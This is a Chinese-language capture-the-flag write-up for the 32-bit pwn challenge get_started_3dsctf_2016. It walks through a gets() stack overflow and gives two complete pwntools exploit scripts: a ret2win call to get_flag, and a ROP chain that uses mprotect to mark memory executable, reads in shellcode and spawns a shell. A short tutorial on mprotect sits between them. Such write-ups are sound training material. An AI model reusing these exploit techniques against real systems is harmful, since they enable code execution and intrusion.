欢迎光临
我们一直在努力

get_started_3dsctf_2016

寻找漏洞点

检查一下

拖入ida查看

gets()函数非常明显的溢出

且查看汇编代码,发现main函数没有进行压栈的操作,最后直接是retn

所以我们最后的偏移不需要覆盖栈底

查看左侧的函数栏,还发现了非常明显的后门函数,还发现了mprotect函数

那这道题就有两种写法了

看到这里就非常简单了,还是一个简单的栈溢出题目

也可以通过mprotect函数去修改我们写入shellcode内存的权限,绕过NX保护

编写exp前的准备工作(法一)

找到get_flag()函数的起始地址

get_flag_addr = 0x80489A0

找到exit函数的起始地址

编写exp(法一)

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote("node5.buuoj.cn",29481)
offset = 0x38
get_flag_addr = 0x80489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = cyclic(offset) + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
io.sendline(payload)
io.interactive()

成功获得flag

补充

1. mprotect 的函数原型

在 C 语言中,它的样子是这样的:

int mprotect(void *addr, size_t len, int prot);

参数拆解:
  • addr (起始地址):你想修改权限的内存开始位置。
      • 注意:这个地址必须是内存页对齐的。在大多数 Linux 系统上,一个内存页的大小是 4096 字节(即 0x1000)。
      • 这意味着你的 addr 结尾必须是 000(例如 0x0804a000)。
  • len (长度):你想修改多少字节。通常我们填 0x1000(一个页)就足够放 Shellcode 了。
  • prot (权限控制):这是最重要的部分,由三个权限值相加得到:
      • 1:可执行 (PROT_EXEC)
      • 2:可写 (PROT_WRITE)
      • 4:可读 (PROT_READ)
      • 常用技巧:如果我们想要“可读+可写+可执行”,就把它们加起来:$4 + 2 + 1 = 7$。

    2. 为什么在 PWN 题中经常看到它?

    通常的攻击流程是这样的:

  • 注入:你把 Shellcode 写到内存的某个地方(比如全局变量 bss 段)。
  • 修改:由于 bss 段默认不能执行,你利用溢出执行 mprotect,把那块内存权限改为 7。
  • 跳转:权限改完后,再跳转到 Shellcode 的位置执行。

  • 3. 32 位程序下的 ROP 布局

    由于你处理的是 32 位程序(i386),调用 mprotect 时的栈布局遵循 cdecl 约定:

    [函数地址] + [返回地址] + [参数1] + [参数2] + [参数3]

    如果你要调用 mprotect 将 0x0804a000 开始的 4096 字节改为可读可写可执行(7),你的 payload 结构如下:

    栈位置

    内容

    说明

    ret_addr

    mprotect_addr

    覆盖返回地址,跳转到 mprotect

    ret_after_mprotect

    next_target

    mprotect

    执行完后要去哪里(比如跳到 Shellcode)

    arg1: addr

    0x0804a000

    必须对齐(以 000

    结尾)

    arg2: len

    0x1000

    修改一个页的大小

    arg3: prot

    0x7

    权限:$RWX$


    4. 初学者常犯的错误:地址对齐

    这是最容易卡住的地方。如果你的 addr 填的是 0x0804a123(没有对齐到 0x1000),mprotect 就会执行失败,返回 -1,并且权限修改不会生效。

    编写exp前的准备工作(法二)

    找到合适的地址,在ida中ctrl+s

    记录一下
    addr = 0x8048000

    其他的一些地址我们就可以用pwntools里的工具获取了

    由于我们不仅需要使用mprotect函数

    还要调用read函数写入shellcode

    会出现一个参数污染的问题,于是我们需要借用寄存器传参

    使用ROPgadget查找

    随便找一个pop;pop;pop;ret的就可以,我这里使用

    pop_addr = 0x80509a5

    编写exp(法二)

    from pwn import *
    context(arch = 'i386',os = 'linux',log_level = 'debug')
    io = remote("node5.buuoj.cn",29481)
    elf = ELF("./get_started_3dsctf_2016")
    addr = 0x8048000
    mprotect_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']
    offset = 0x38
    pop_addr = 0x80509a5
    payload = cyclic(offset) + p32(mprotect_addr) + p32(pop_addr)
    #这里使程序跳转运行mprotect函数,并清理寄存器上的参数
    payload += p32(addr) + p32(0x1000) + p32(0x7) + p32(read_addr)
    #这里将mprotect中的函数填进去,并使执行完该函数后跳转到read函数中,方便我们下一步写入shelcode
    payload += p32(pop_addr) #清理参数
    payload += p32(0) + p32(addr) + p32(0x1000) + p32(addr)
    #填入read中的参数,第一个参数为0,就是读入我们的输入,第二个是输入的地址,第三个是长度,第四个是执行完read后的返回地址
    shellcode = asm(shellcraft.sh()) #生成shellcode
    io.sendline(payload)
    io.sendline(shellcode)
    io.interactive()

    成功获得flag

    赞(0)
    未经允许不得转载:171主机测评 » get_started_3dsctf_2016
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址